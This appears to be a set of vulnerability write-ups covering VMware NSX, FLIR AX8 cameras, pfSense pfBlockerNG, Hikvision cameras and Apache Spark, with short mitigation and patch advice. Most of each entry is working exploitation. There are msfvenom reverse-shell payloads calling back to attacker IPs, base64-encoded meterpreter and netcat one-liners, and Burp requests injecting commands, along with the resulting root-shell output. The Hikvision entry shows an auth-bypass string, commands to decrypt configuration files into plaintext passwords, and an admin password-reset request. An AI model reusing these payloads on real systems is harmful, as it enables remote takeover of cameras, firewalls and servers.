   0   Wildcard Target

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444

Send the burp request and wait for meterpreter session to come in.

msf6 exploit(multi/handler) > [*] Sending stage (40164 bytes) to 192.168.100.5
[*] Sending stage (40168 bytes) to 192.168.100.5
[*] Meterpreter session 5 opened (192.168.100.7:4444 -> 192.168.100.5:58920) at 2022-11-06 06:47:59 +0000

msf6 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                      Information     Connection
  --  ----  ----                      -----------     ----------
  5         meterpreter python/linux  root @ manager  192.168.100.7:4444 -> 192.168.100.5:58920 (192.168.100.5)

msf6 exploit(multi/handler) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > sysinfo
Computer        : manager
OS              : Linux 4.9.297 #1 SMP Tue Feb 1 08:50:25 GMT 2022
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: root
meterpreter >

The examples above show that it is pretty simple to weaponize and therefore there is a high probability of exploitation in the wild.
VMware Cloud Foundation 3.x and more specific NSX Manager Data Center for vSphere up to and including version 6.4.13 are vulnerable to Remote Command Injection using XStream.

I have created a Metasploit module that has been submitted to the mainstream for production. A local version of this module can found at the Reference section.

Mitigation

Please update VMware NSX Manager to 6.4.14 and follow the instructions in VMware Knowledge Base article listed in the Reference section.

References

Eat What You Kill::Pre-authenticated Remote Code Execution in VMWare NSX Manager
VMware advisory
VMware KB
Metasploit Development h00die-gr3y

Credits

Credits goes to the security researchers below who discovered these vulnerabilities.

2
Ratings
Technical Analysis

FLIR AX8 is a thermal sensor with imaging capabilities, combining thermal and visual cameras that provides continuous temperature monitoring and alarming for critical electrical and mechanical equipment.
This device is typically used for monitoring industrial environments in a LAN based configuration. Occasionally you can find a FLIR AX8 device where the HTTP web interface is exposed to the public internet.

FLIR AX8 is affected by an unauthenticated remote command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in res.php endpoint. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges. This issue affects all FLIR AX8 thermal sensor cameras version up to and including 1.46.16.

The endpoint /res.php can be called remotely without user authentication as there is no cookie verification Cookie: PHPSESSID=ID to check if the request is legitimate. The second problem is that the POST parameter id can be injected to execute any unix command as demonstrated in the example below.

Create a netcat reverse shell payload with msfvenom

# msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.100.7 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 100 bytes
mkfifo /tmp/ibcnr; nc 192.168.100.7 4444 0</tmp/ibcnr | /bin/sh >/tmp/ibcnr 2>&1; rm /tmp/ibcnr

Use this payload in a burp POST request using the vulnerable id parameter to launch a netcat shell.
Note: Do not forget to apply the URL encoding.

POST /res.php HTTP/1.1
Host: 192.168.100.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 174

action=alarm&id=2;mkfifo%20%2ftmp%2fibcnr%3b%20nc%20192.168.100.7%204444%200%3c%2ftmp%2fibcnr%20%7c%20%2fbin%2fsh%20%3e%2ftmp%2fibcnr%202%3e%261%3b%20rm%20%2ftmp%2fibcnr

Click send and you will receive a netcat shell on the attacker host.

# nc -lnvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 51556
whoami
root
uname -a
Linux neco 3.0.35-flir #1 PREEMPT Thu Oct 20 08:20:20 CET 2022 armv7l GNU/Linux

The root cause of this command injection vulnerability is the lack of sanitization checks on the variable $_POST["id"], line 65 in the file /FLIR/usr/www/res.php and malicious actors can therefore take advantage of the shell_exec() function to execute unexpected arbitrary shell commands.

Besides this vulnerability, three other vulnerabilities were identified. Check the respective CVE’s for more info.

  • [CVE-2022-37060] – Unauthenticated Directory Traversal
  • [CVE-2022-37062] – Improper Access Control
  • [CVE-2022-37063] – Reflected cross-site scripting

As stated in the beginning of this analysis, it very unlikely to find this type of devices exposed to the Internet, but you will find them quite often in industrial environments deployed in a LAN based configuration.

I have created Metasploit module exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061 that will check if the device is vulnerable and launches a reverse netcat shell or meterpreter session on a vulnerable device . You can download this module from the link in the reference section below and follow the instructions to run it locally.

Pushing this module to the Metasploit mainstream is in progress.

Mitigation

Upgrade camera version to a higher firmware version then 1.46.16.

References

Packetstorm
Metasploit Development h00die-gr3y

Credits

Credits goes to the security researchers below who discovered these vulnerabilities.

0
Ratings
Technical Analysis

pfSense’s pfBlockerNG plugin version 2.1.4_26 and versions below has remote command execution vulnerability that can be exploited without any authentication and will provide root access.
Credits go the IHTeam who discovered this vulnerability in September 2022. CVE-2022-31814 carries a CVSS score of 9.8 and this vulnerability is likely to be exploited in the wild.

pfBlockerNG (https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html) is a pfSense plugin that is NOT installed by default and it’s generally used to block inbound connections from whole countries or IP ranges.
The vulnerability was identified in the file /usr/local/www/pfblockerng/www/index.php which is used to record and query DNSBL data. Specifically to query, the code uses PHP function exec(), passing untrusted data into the command line code below:

// Query DNSBL Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));

exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);

The $_SERVER[‘HTTP_HOST’] element passed in the above code, is a user-controllable input. An attacker can tamper with the HTTP_HOST parameter via the "Host:" header of the request.

There are a few restrictions in place that you need to bypass to make this work:

  • htmlspecialchars() PHP function was preventing the use of shell redirections (> and <), double quotes (“), and ampersand (&)
  • nginx web server won’t accept the forward slash (/) in the Host header, returning a 400 – Bad Request

Therefore, the only available characters to build a working payload were:

  • pipe (|)
  • semicolon (;)
  • single quote (‘)
  • spaces ( )

Other limitations are:

  • Python is installed on pfSense , but it does not have the symbolic links (python3, python), so you need to specifically mention the version a.k.a. python3.8
  • base64 is not installed, so for base64 decoding we will use the python3.8 -m base64 -d option

So let’s play around what we can do here…
To easily identify a valid payload, we can copy the original command in the exec() function and try to tamper with it directly in a shell:

/usr/bin/grep -l ‘ “INJECTION 60 IN A’ /var/db/pfblockerng/dnsblalias/*

In order to obtain a working PoC, we need:

  • Close the single quote
  • Specify a directory to search on
  • Break the command with a semicolon
  • Comment or add an additional single quote

A simple example is the sleep command below.

' *; sleep 5; '

This can be used as a simple test to see if your remote command execution works.

For more complex payloads that requires the restricted characters like forward slashes (/), double quotes (”“) and ampersand (&), we should encode our payload with base64 and decode using python3.8 for execution.

A simple netcat scenario is nc 192.168.201.8 4444 -e /bin/sh and encode it with base64, however the -e option is controlled by an ip_sec_policy on the pfSense firewall which restricts the usage of the -e option.
It is a still a firewall, right ;–)

So another alternative is to use the reverse netcat option generated with msfvenom that does not use the -e option.

# msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.100.7 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 95 bytes
mkfifo /tmp/klmql; nc 192.168.100.7 4444 0</tmp/klmql | /bin/sh >/tmp/klmql 2>&1; rm /tmp/klmql
# echo 'mkfifo /tmp/klmql; nc 192.168.100.7 4444 0</tmp/klmql | /bin/sh >/tmp/klmql 2>&1; rm /tmp/klmql' | base64
bWtmaWZvIC90bXAva2xtcWw7IG5jIDE5Mi4xNjguMTAwLjcgNDQ0NCAwPC90bXAva2xtcWwgfCAvYmluL3NoID4vdG1wL2tsbXFsIDI+JjE7IHJtIC90bXAva2xtcWwK

Let’s take this encoded payload (please check for any restricted characters) and use python to decode payload for execution –> python3.8 -m base64 -d

Hence, the final payload to obtain a reverse netcat shell in pfSense would be as follows:

/usr/bin/grep -l ‘ “' * ; echo bWtmaWZvIC90bXAva2xtcWw7IG5jIDE5Mi4xNjguMTAwLjcgNDQ0NCAwPC90bXAva2xtcWwgfCAvYmluL3NoID4vdG1wL2tsbXFsIDI+JjE7IHJtIC90bXAva2xtcWwK | python3.8 -m base64 -d | sh ; ' 60 IN A’ /var/db/pfblockerng/dnsblalias/*

Let’s now use burpsuite to send our payload to the vulnerable pfblockerng plugin by manipulating the "Host:" header parameter to launch a netcat shell

GET /pfblockerng/www/index.php HTTP/1.1
Host: ' * ; echo bWtmaWZvIC90bXAva2xtcWw7IG5jIDE5Mi4xNjguMTAwLjcgNDQ0NCAwPC90bXAva2xtcWwgfCAvYmluL3NoID4vdG1wL2tsbXFsIDI+JjE7IHJtIC90bXAva2xtcWwK | python3.8 -m base64 -d | sh ; '

Click send and voila, we have established a netcat session on the attacker machine with root privileges.

# nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.100.7] from (UNKNOWN) [192.168.100.47] 45051
pwd
/usr/local/www/pfblockerng/www
whoami
root

As stated in the beginning of this analysis, pfSense default installation does not have the pfblockerng plugin installed by default, but unfortunately it is a popular plugin that is used on many installations of pfSense. It therefore makes it a very attractive target for malicious actors to explore.

There is already a Metasploit module available that exploits this vulnerability using php to launch a webshell and it has the options to spawn reverse shells.

Mitigation

Please update your pfBlockerNG plugin to the latest version.

References

IHTeam advisory
Packetstorm
Metasploit Mainstream

2
Ratings
Technical Analysis

Recently, I bumped into a bunch of Hikvision camera’s during a security engagement and surprise, surprise, they were all vulnerable against this old vulnerability CVE-2017-7921 discovered by Monte Crypto in September 2017. You can find his write up here: https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html.

It made me curious, because we are five years further in the game and it looks that the majority of the Hikvison camera’s and other white-labelled versions are still vulnerable.
I ran a quick scan with Shodan (search: “App-webs” “200 OK”) and it returns around 160.000 potential targets where, based on my quick assessment, probably 20% remains vulnerable !!!

This is of course bad or good news depending which side you are on ;–), but regardless if you are a good or bad actor, it does make sense to revisit this old timer once more again.

A small deep dive into the problem

Many Hikvision IP cameras contain a backdoor have improper authorization logic that allows unauthenticated impersonation of any configured user account.
The basics of this vulnerability is very simple.

Updated based on the comment of @gwillcox-r7
Our dear programmers from Hikvision left a piece of a code in the vulnerable firmware that has a hard coded magic string that bypasses all security on the camera and will provide full admin access. Our dear programmers from Hikvision developed proprietary HikCGI protocol, which exposes URI endpoints through the camera’s web interface. The HikCGI protocol handler checks for the presence of a parameter named auth in the query string and if that parameter contains a base64-encoded username:password string, the HikCGI API call assumes the identity of the specified user and the password is ignored.
Using user admin bypasses all security on the camera and allows an attacker to completely control the camera and modify any setting or retrieve sensible information.

You use any combination of base64 encoded admin:password string, such as the one below.

# echo "admin:11" | base64
YWRtaW46MTEK

All what is needed is to append this magic string ?auth=YWRtaW46MTEK to GET and POST queries to access the camera with administrative privileges and do whatever you want.

Examples are:
Retrieve a list of all users and their roles: http://camera.ip/Security/users?auth=YWRtaW46MTEK
Obtain a camera snapshot without authentication: http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK
or one can download the camera configuration: http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

And the use cases for exploitation are numerous, as described in the HIKCGI Integration Guide and IP Media Device Management Protocol User Guide from Hikvision.

Let me take two use cases to show how easy it is to retrieve users and passwords and change them.

First of all, if you want to retrieve the users and passwords, just first pull the configuration file from the vulnerable camera using the magic string.

curl http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK --output configurationFile

You should get a file named configurationFile which holds all camera information including the user and password information in plain text.
However this file is encrypted (rather weak ;-0), so we need to decrypt it first.

There is a nice tool made by WormChickenWizard that will the job for us. Check it out, but for now I just apply the logic that he described in his README.md.

First decrypt the configurationFile with following command:

openssl enc -d -in configurationFile -out decryptedoutput -aes-128-ecb -K 279977f62f6cfd2d91cd75b889ce0c9a -nosalt -md md5

The AES encryption is now broken but the decryptedoutput file is still xor encoded.
Use the tool from WormChickenWizard to decrypt the decrytedoutput file to create a readable format that we can view with a hex editor to search for the users and passwords in plain text format.

java XORDecode

You should now have a file called plaintextOutput file that you can inspect with a hex viewer or editor.

hexedit plaintextOutput

You will see output like this and the first admin and password you will find is the default admin password when your perform a factory reset (I love these Hikvision developers ;–)

00008358   02 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
0000837C   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
000083A0   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
000083C4   00 00 00 00  61 64 6D 69  6E 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....admin...........................
000083E8   31 32 33 34  35 00 00 00  00 00 00 00  00 00 00 00  FF FF FF FF  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  12345...............................
0000840C   00 00 00 00  00 00 00 00  00 00 00 00  00 00 02 02  00 00 00 00  FF FF FF FF  00 00 00 00  FF FF FF FF  00 00 00 00  ....................................
00008430   FF FF FF FF  00 00 00 00  FF FF FF FF  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
00008454   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
00008478   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ....................................
---  plaintextOutput       --0x801C/0xD8B30--4%---------------------------------------------------------------------------------------------------------------------

If you search a bit further, you will find the actual users and passwords. In this case two users (admin and admln)

000A7BD4   00 00 00 00  08 10 00 00  00 00 00 00  61 64 6D 69  6E 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ............admin...................
000A7BF8   00 00 00 00  00 00 00 00  50 61 24 24  57 30 72 64  00 00 00 00  00 00 00 00  FF FF FF FF  00 00 00 00  00 00 00 00  ........Pa$$W0rd....................
000A7C1C   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 02 02  00 00 00 00  FF FF FF FF  00 00 00 00  ....................................
000A7C40   FF FF FF FF  00 00 00 00  FF FF FF FF  00 00 00 00  FF FF FF FF  00 00 00 00  61 64 6D 6C  6E 00 00 00  00 00 00 00  ........................admln.......
000A7C64   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  61 73 64 66  31 32 33 34  00 00 00 00  00 00 00 00  ....................asdf1234........
000A7C88   00 70 0D 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 02 01  .p..................................
000A7CAC   00 00 00 00  01 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  ....................................
---  plaintextOutput       --0xA7850/0xD8B30--77%-------------------------------------------------------------------------------------------------------------------

Now if this is all too much effort, you can also decide to just reset the admin password with a new password.
The HTML code for that is pretty simple and can be easily executed using burp

Note: The new password should at least have 2 UPPERCASE, 2 lowercase and 2 special characters, otherwise it will not be accepted.

Burp request:

PUT /Security/users/1?auth=YWRtaW46MTEK HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<User version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema">
<id>1</id>
<userName>admin</userName>
<password>Pa$$W0rd</password>
</User>

To fix CVE-2017-7921, we recommend that users upgrade their Hikvision firmware to the latest version, but looking at the number of vulnerable camera’s out there, this will probably not help :–(.

References

I have added a reference to a Metasploit module that I developed and checks for a vulnerable camera and does the password reset for you.
I am currently updating the functionality of this module with some more actions to retrieve the config file, make a snapshot, enumerate the users and other stuff…
This module will be submitted shortly to the mainstream of Metasploit for acceptance of the Rapid7 development team.

Metasploit Hikvision module –> https://github.com/h00die-gr3y/Metasploit/

Update 24 September 2022:
Metasploit Hikvision module has been released to the mainstream –> https://github.com/rapid7/metasploit-framework/pull/17033

1

Hi @gwillcox-r7
Of course I am happy to contribute and add the module to the main stream of Metasploit.
I am not really familiar with the PR process, so you need to guide me here…

Please send me some instructions per e-mail so I can follow the process…
Thanks !

2
Ratings
Technical Analysis

Apache Spark released the latest security bulletin on July 18, which contains a shell command injection vulnerability (CVE-2022-33891). The security researcher Kostya Kortchinsky (Databricks) has been credited with reporting this flaw.

What is exactly the issue?
In the vulnerable versions of Apache Spark, a non-default setting called spark.acls.enable true triggers a shell command injection code vulnerability. This piece of code is responsible to check the permission of an user using a bash command shell in combination with the unix id command. Ironically the spark.acls.enable true configuration setting is designed to improve the security access within the Spark application, but unfortunately this configuration setting triggers the vulnerable code below.

  private def getUnixGroups(username: String): Set[String] = {
    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
    // we need to get rid of the trailing "\n" from the result of command execution
    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
    Utils.executeAndGetOutput(idPath ::  "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
  }
}

You can trigger this very easily using ?doAs parameter passing a raw Linux command:

http://<spark-ip>:8080/?doAs=`[command injection here]`

User commands are processed through ?doAs parameter and nothing reflected back on the page during command execution, so this is a blind OS injection.

To demonstrate this vulnerability, download a vulnerable Spark docker image from dockerhub (https://hub.docker.com/).

  1. Startup the Docker image
  2. In a new terminal, enter sudo docker exec -it spark_spark_1 /bin/bash
  3. In the container bash session, enter: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  4. Restart docker image

Craft the command injection.
We will use a simple reverse shell payload: sh -i >& /dev/tcp/192.168.201.8/4444 0>&1

# echo 'sh -i >& /dev/tcp/192.168.201.8/4444 0>&1' | base64
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK
# curl -d 'doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data

Netcat listener

# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.201.8] from (UNKNOWN) [192.168.201.37] 65314
$ whoami
spark

Other example with Metasploit using python meterpreter
Setup and start the handler…

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf6 exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                         Payload opts
  --  ----                    -------                         ------------
  0   Exploit: multi/handler  python/meterpreter/reverse_tcp  tcp://0.0.0.0:4444

Craft the payload with msfvenom

#  msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.201.8 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 497 bytes
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))

Code the payload…

# echo "python -c \"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))\"" | base64
cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9f
KCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlM
R0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNu
azZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1Fv
SkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0Zy
Q2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29K
ejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tU
eHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21W
emN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK

Execute the payload…

# curl -d 'doAs=`echo cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9fKCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlMR0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNuazZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1FvSkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0ZyQ2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29KejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tUeHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21WemN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data

Meterpreter session…

msf6 exploit(multi/handler) >
[*] Sending stage (40168 bytes) to 192.168.201.37
[*] Meterpreter session 4 opened (192.168.201.8:4444 -> 192.168.201.37:49487) at 2022-08-19 21:12:25 +0000

msf6 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > shell
Process 258 created.
Channel 1 created.
uname -a
Linux 7a26a9fb7ce3 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022 x86_64 GNU/Linux
ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:00 bash /opt/bitnami/spark/sbin/start-master.sh
   33 ?        S      0:00 bash /opt/bitnami/spark/sbin/spark-daemon.sh start org.apache.spark.deploy.master.Master 1 --host 7a26a9fb7ce3 --port 7077 --webui-port 8080
   38 ?        Sl     6:08 /opt/bitnami/java/bin/java -cp /opt/bitnami/spark/conf/:/opt/bitnami/spark/jars/* -Xmx1g org.apache.spark.deploy.master.Master --host 7a26a9fb7ce3 --port 7077 --webui-port 8080
  216 pts/0    Ss+    0:00 /bin/sh
  245 pts/1    Ss+    0:00 /bin/sh
  254 ?        Rsl    0:04 python -c exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
  258 ?        S      0:00 /bin/sh
  270 ?        R      0:00 ps ax

To fix CVE-2022-33891, we recommend that users upgrade the Apache Spark to version 3.1.3, 3.2.2, or 3.3.0 or later in time.

References

I have added a reference to a Metasploit module that I developed and a reference to a nice POC from HuskyHacks.

Metasploit Apache Spark Module –> https://github.com/h00die-gr3y/Metasploit/
POC cve-2022-33891 –> https://github.com/HuskyHacks/cve-2022-33891

2
Ratings
Technical Analysis

Researcher Petrus Viet submitted his technical analysis explaining an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate for VMware Workspace ONE Access, Identity Manager and vRealize Automation.
Please see this reference for the details: https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd

A quick summary of his write-up can be found here.


Basically this vulnerability is related to another authentication bypass (CVE-2022–22972) that was discovered in May 2022 (see reference https://blog.assetnote.io/2022/05/27/understanding-cve-2022-22972-vmware-workspace-one-access/) and was also analysed in detail by Rapid7 (see reference https://attackerkb.com/topics/Ur2L7rHv2F/cve-2022-22972).

The java web architecture is based on a listener->filter->servlet construct to send web request to a java web container.
Petrus discovered that you can use the UrlRewriteFilter layer which is responsible for mapping requests to some internal servlets based on predefined rules (in the WEB-INF/urlrewrite.xml file) to read arbitrary files.

One particular predefined rule with the regex “^/t/([^/])((|/)(((?!META-INF| WEB-INF).)))” will filter any request which has the path math and will map it to servlet “/$3” allowing attackers to read arbitrary files at WEB-INF.

Example:
Based on the regex, we can easily see that the request needs to start with “/SAAS/t/_/;/”, so for the request based on the rule with the path “/SAAS/t/_/;/WEB-INF/web.xml” it will be mapped to “/WEB-INF/web.xml”

With CVE-2022–22972 in the back of our mind, this vulnerability can be easily exploited to bypass the patch applied for CVE-2022-22972, where the developers added a HostHeaderFilter class to the filter chain to block all requests with a host header that doesn’t point to the server.

By manipulating the path “/auth/login/embeddedauthbroker/callback” using the path “/SAAS/t/_/;/auth/login/embeddedauthbroker/callback” based on the predefined rule early explained, it will bypass the HostHeaderFilter class, hence you can bypass the authentication again on a patched server.

There is a POC from horizon3ai at GitHub for CVE-2022–22972 (https://github.com/horizon3ai/CVE-2022-22972) that can be reused to test this vulnerability.

Combining this vulnerability with CVE-2022-31659 that allows remote code execution once the malicious user obtains administrator privileges makes VMware Workspace ONE Access, Identity Manager and vRealize Automation targets again.

VMWare has released patches (https://www.vmware.com/security/advisories/VMSA-2022-0021.html) for both CVEs, and it is recommended that all VMWare Workspace ONE clients apply these patches immediately to mitigate potential exploitation.